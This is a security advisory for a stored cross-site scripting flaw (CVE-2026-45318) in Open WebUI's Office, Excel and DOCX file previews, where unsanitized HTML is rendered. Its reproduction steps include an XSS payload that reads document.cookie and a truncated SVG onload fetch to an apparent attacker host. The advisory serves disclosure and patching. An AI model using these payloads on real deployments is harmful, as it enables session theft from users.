Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)
Medium5.4CVE-2026-45318 · Published May 14, 2026 · updated Jul 13, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| open-webui PyPI | < 0.9.3 | 0.9.3 |
Details and references
## Related advisory This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) (patched in v0.8.0). The same root cause , `XLSX.utils.sheet_to_html()` output rendered via `{@html excelHtml}` without DOMPurify , was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related `fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` (lines 458 and 1285) which was not part of the jwf8 advisory's scope. ## Summary Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document. This is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces. ## Root Cause **The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`. **But 3 file-preview paths skip it**: ### Occurrence 1: FilePreview.svelte , Office HTML **File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324 ```svelte {:else if fileOfficeHtml !== null} <div class="office-preview overflow-auto flex-1 min-h-0"> {@html fileOfficeHtml} <!-- NO DOMPurify! --> </div> ``` `fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization. ### Occurrence 2: FileItemModal.svelte , Excel HTML **File**: `src/lib/components/common/FileItemModal.svelte` line 560 ```svelte {@html excelHtml} <!-- NO DOMPurify! --> ``` `excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied. ### Occurrence 3: FileItemModal.svelte , DOCX HTML **File**: `src/lib/components/common/FileItemModal.svelte` line 590 ```svelte {@html docxHtml} <!-- NO DOMPurify! --> ``` `docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied. ## Contrast with Sanitized Paths For comparison, the same codebase correctly sanitizes in other locations: ```svelte <!-- MarkdownInlineTokens.svelte:130 , SAFE --> {@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })} <!-- General.svelte:276 , SAFE --> {@html DOMPurify.sanitize($config?.license_metadata?.html)} <!-- Banner.svelte:103 , SAFE --> {@html DOMPurify.sanitize(marked.parse(...))} ``` ## Defense Propagation Gap | Metric | Value | |--------|-------| | Total `{@html}` usages | 23 | | With DOMPurify | 9 (39%) | | **Without DOMPurify** | **14 (61%)** | | Confirmed exploitable (file preview) | **3** | The remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing , these have varying levels of inherent safety but still represent inconsistent defense application. ## Tested Version - Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`) ## Steps to Reproduce ### PoC 1: Malicious Excel File 1. Create a `.xlsx` file with a cell containing: ``` <img src=x onerror="alert(document.cookie)"> ``` (Using a library like openpyxl to inject raw HTML into cell values) 2. Upload the file to Open WebUI via the chat file upload 3. When any user previews the file → `excelHtml` renders the injected HTML → **XSS fires** ### PoC 2: Malicious DOCX File 1. Create a `.docx` file with embedded HTML: ```xml <w:r><w:t><![CDATA[<svg onload="fetch('https://attacke
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-79
- Also known as
- CVE-2026-45318, PYSEC-2026-2731
More Open WebUI advisories
All Open WebUI| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| May 14 | Open WebUI has Stored Cross-Site Scripting In Profile Picture CVE-2026-45299Medium5.4fixed in 0.8.0 | Medium5.4 | 0.8.0 |
| May 14 | Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file CVE-2026-45301High8.1fixed in 0.3.16 | High8.1 | 0.3.16 |
| May 14 | Open WebUI has stored XSS via the HTML renedering view CVE-2026-45303High7.7fixed in 0.6.5 | High7.7 | 0.6.5 |
| May 14 | Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions CVE-2026-45315High8.7fixed in 0.9.3 | High8.7 | 0.9.3 |
| May 14 | Open WebUI has XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image CVE-2026-45314High6.1fixed in 0.9.3 | High6.1 | 0.9.3 |
| May 14 | Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access) CVE-2026-45316Low3.5fixed in 0.9.3 | Low3.5 | 0.9.3 |